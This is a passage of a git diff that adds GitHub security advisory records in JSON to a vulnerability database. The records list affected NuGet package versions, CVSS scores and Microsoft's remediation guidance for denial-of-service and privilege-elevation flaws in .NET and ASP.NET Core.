10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-0"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-0"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-0"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-0"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}},{"package":{"name":"Microsoft.NETCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.NETCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3g4v-f5gv-c7xf/GHSA-3g4v-f5gv-c7xf.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/runtime/security/advisories/GHSA-3g4v-f5gv-c7xf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109475"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/500"},{"type":"WEB","url":"https://github.com/dotnet/runtime/issues/137283"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/10.0/10.0.15/10.0.15.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/8.0/8.0.34/8.0.34.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/9.0/9.0.23/9.0.23.md"},{"type":"PACKAGE","url":"https://github.com/dotnet/runtime"},{"type":"WEB","url":"https://github.com/dotnet/runtime/releases/tag/v10.0.15"},{"type":"WEB","url":"https://github.com/dotnet/runtime/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/runtime/releases/tag/v8.0.34"},{"type":"WEB","url":"https://github.com/dotnet/runtime/releases/tag/v9.0.23"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-109475"}],"database_specific":{"cwe_ids":["CWE-121"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T23:22:54Z","nvd_published_at":"2026-11-10T19:18:16Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-49q5-vjx7-5gwr.json b/data/NuGet/GHSA-49q5-vjx7-5gwr.json
new file mode 100644
index 0000000000..b8517ba761
--- /dev/null
+++ b/data/NuGet/GHSA-49q5-vjx7-5gwr.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-49q5-vjx7-5gwr","published":"2026-11-10T21:32:51Z","modified":"2026-11-10T22:15:03.501127686Z","withdrawn":"2026-11-10T22:07:38Z","summary":"Duplicate Advisory: Microsoft Security Advisory CVE-2026-114154 - ASP.NET Core Denial of Service Vulnerability","details":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-3893-7fxc-qvff. This link is maintained to preserve external references.\n\n## Original Description\nUncontrolled resource consumption in ASP.NET Core allows an unauthorized attacker to deny service over a network.","affected":[{"package":{"name":"Microsoft.AspNetCore.Server.HttpSys","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.Server.HttpSys"},"versions":["2.3.10"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-49q5-vjx7-5gwr/GHSA-49q5-vjx7-5gwr.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114154"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114154"}],"database_specific":{"cwe_ids":["CWE-401"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T22:07:38Z","nvd_published_at":"2026-11-10T19:19:08Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-5h82-77p6-2wp3.json b/data/NuGet/GHSA-5h82-77p6-2wp3.json
new file mode 100644
index 0000000000..6053f960a5
--- /dev/null
+++ b/data/NuGet/GHSA-5h82-77p6-2wp3.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-5h82-77p6-2wp3","published":"2026-11-11T00:11:03Z","modified":"2026-11-11T00:30:10.062020993Z","aliases":["CVE-2026-118748"],"summary":"Microsoft Security Advisory CVE-2026-118748 - ASP.NET Core Denial of Service Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core. This advisory provides guidance on updating affected applications and components.\n\nBlazor static-SSR client validation retains attacker-controlled rendered field names in an unbounded singleton cache, allowing remote process memory exhaustion.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/516\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-770\n\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 11.0.0-preview.7.26381.103, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the deployed runtime and application package versions against the affected ranges above. Self-contained applications include their own runtime; updating a machine-wide runtime does not replace it.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable runtime or update each independently referenced package to the fixed version above. Restart applications. Rebuild and redeploy self-contained applications; updating a machine-wide runtime does not replace their embedded runtime. An SDK update alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-118748](https://www.cve.org/CVERecord?id=CVE-2026-118748)\n\n### Acknowledgements\n\n- Artur Stetsko\n- Alejandro Pacheco\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5h82-77p6-2wp3/GHSA-5h82-77p6-2wp3.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5h82-77p6-2wp3/GHSA-5h82-77p6-2wp3.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5h82-77p6-2wp3/GHSA-5h82-77p6-2wp3.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5h82-77p6-2wp3/GHSA-5h82-77p6-2wp3.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5h82-77p6-2wp3/GHSA-5h82-77p6-2wp3.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5h82-77p6-2wp3/GHSA-5h82-77p6-2wp3.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5h82-77p6-2wp3/GHSA-5h82-77p6-2wp3.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5h82-77p6-2wp3/GHSA-5h82-77p6-2wp3.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5h82-77p6-2wp3/GHSA-5h82-77p6-2wp3.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5h82-77p6-2wp3/GHSA-5h82-77p6-2wp3.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.7.26381.103"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5h82-77p6-2wp3/GHSA-5h82-77p6-2wp3.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-5h82-77p6-2wp3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118748"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/516"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70477"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-118748"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-11-11T00:11:03Z","nvd_published_at":"2026-11-10T19:19:51Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-6527-9fp8-r4x6.json b/data/NuGet/GHSA-6527-9fp8-r4x6.json
new file mode 100644
index 0000000000..b6d9ad7660
--- /dev/null
+++ b/data/NuGet/GHSA-6527-9fp8-r4x6.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-6527-9fp8-r4x6","published":"2026-11-10T23:32:00Z","modified":"2026-11-10T23:45:04.057384873Z","aliases":["CVE-2026-118750"],"summary":"Microsoft Security Advisory CVE-2026-118750 - ASP.NET Core Denial of Service Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core. This advisory provides guidance on updating affected applications and components.\n\nFileBufferingReadStream buffer allocation can allow unauthenticated multipart-form requests to exhaust memory.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/512\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-770\n\n## Affected Platforms\n\n- **Platforms:** Any supported OS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe table lists the affected package range and the fixed NuGet version.\n\n### ASP.NET Core 2.3 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.WebUtilities](https://www.nuget.org/packages/Microsoft.AspNetCore.WebUtilities) | >= 2.3.0, <= 2.3.13 | 2.3.14\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the application's Microsoft.AspNetCore.WebUtilities package reference against the affected range above, including transitive dependencies brought in by Microsoft.AspNetCore.Http. Use `dotnet list <PROJECT> package --include-transitive` to inspect resolved dependencies.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nUpdate each applicable package reference to its patched version listed above, then rebuild and redeploy the application. Updating only the installed runtime does not update an application's standalone package references.\n\nApplications referencing Microsoft.AspNetCore.Http must resolve Microsoft.AspNetCore.WebUtilities to version 2.3.14 or later. Add or update a direct WebUtilities reference if necessary to override an older transitive dependency.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-118750](https://www.cve.org/CVERecord?id=CVE-2026-118750)\n\n### Acknowledgements\n\n- NavSec4\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.WebUtilities","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.WebUtilities"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.14"}]}],"versions":["2.3.0","2.3.10","2.3.11","2.3.12","2.3.13","2.3.8","2.3.9"],"database_specific":{"last_known_affected_version_range":"<= 2.3.13","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6527-9fp8-r4x6/GHSA-6527-9fp8-r4x6.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-6527-9fp8-r4x6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118750"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/512"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/9a26c7414a4fbff45535c0830253c1b4479b0073"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70476"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-118750"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T23:32:00Z","nvd_published_at":"2026-11-10T19:19:51Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-67wp-ghc2-fw2g.json b/data/NuGet/GHSA-67wp-ghc2-fw2g.json
new file mode 100644
index 0000000000..76e245c7c3
--- /dev/null
+++ b/data/NuGet/GHSA-67wp-ghc2-fw2g.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-67wp-ghc2-fw2g","published":"2026-11-11T00:21:56Z","modified":"2026-11-11T00:30:20.541093425Z","aliases":["CVE-2026-114146"],"summary":"Microsoft Security Advisory CVE-2026-114146 - ASP.NET Core Elevation of Privilege Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core. This advisory provides guidance on updating affected applications and components.\n\nSignalR connections are not consistently bound to the identity negotiated at connection establishment, allowing injected messages to execute Hub invocations as the victim.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/504\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** Critical\n- **Score:** 9.0 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-863\n\n## Affected 